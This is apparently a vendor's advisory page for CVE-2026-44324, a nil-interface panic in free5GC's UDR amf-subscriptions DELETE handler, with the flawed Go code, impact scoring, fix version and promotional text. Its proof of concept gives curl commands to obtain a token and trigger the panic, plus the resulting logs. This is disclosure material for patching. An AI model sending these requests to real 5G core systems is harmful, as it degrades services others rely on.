CVE-2026-44324 is a medium-severity (CVSS 6.5) CWE-704 vulnerability in github.com/free5gc/udr. A fix is available for github.com/free5gc/udr — see the affected versions and patch details below.
free5GC: UDR nudr-dr DELETE amf-subscriptions panics on missing UE state via nil interface type assertion (single authenticated request)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44324.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44324 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/free5gc/udrReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USER_NOT_FOUND problem-details on the miss path, but execution continues and immediately runs value.(*udr_context.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not *context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.
This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.
This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.
Details
Validated against the UDR container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/udr:v4.2.1 - Runtime UDR commit:
754d23b0 - Docker validation date: 2026-03-22
- UDR endpoint:
http://10.100.200.11:8000
Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface):
subsId := c.Params.ByName("subsId")
s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)
In the processor:
value, ok := udrSelf.UESubsCollection.Load(ueId)
if !ok {
pd = util.ProblemDetailsNotFound("USER_NOT_FOUND")
}
UESubsData := value.(*udr_context.UESubsData) // panics: nil interface
When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(*udr_context.UESubsData) panics with:
panic: interface conversion: interface {} is nil, not *context.UESubsData
Code evidence (paths in free5gc/udr):
- Route exposure + handler dispatch:
NFs/udr/internal/sbi/api_datarepository.go:2161NFs/udr/internal/sbi/api_datarepository.go:2170NFs/udr/internal/sbi/api_datarepository.go:2172
- Panic root cause (nil interface type assertion):
NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61
PoC
Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.
- Restart UDR (clean state -- proves no precondition is needed):
docker restart udr
- Obtain a valid
nudr-drtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
- Trigger the panic with one DELETE for a nonexistent
ueId=x:
curl -i -sS -X DELETE \
'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
-H 'Authorization: Bearer <valid_nudr_dr_jwt>'
HTTP/1.1 500 Internal Server Error
Content-Length: 0
- UDR container logs (
docker logs udr) confirm the nil-interface conversion panic atevent_amf_subscription_info_document.go:61insideRemoveAmfSubscriptionsInfoProcedure:
[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
.../event_amf_subscription_info_document.go:61
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
.../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |
Impact
Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.
This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:
- Trigger a reliable, single-request panic on the
amf-subscriptionsdelete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended
404 USER_NOT_FOUNDresponse would have.
No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/udr | all versions | 1.4.3go get github.com/free5gc/udr@v1.4.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/udr, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/free5gc/udr to 1.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44324 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44324 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44324. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-44324 in your dependencies?
O3 Security finds CVE-2026-44324 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.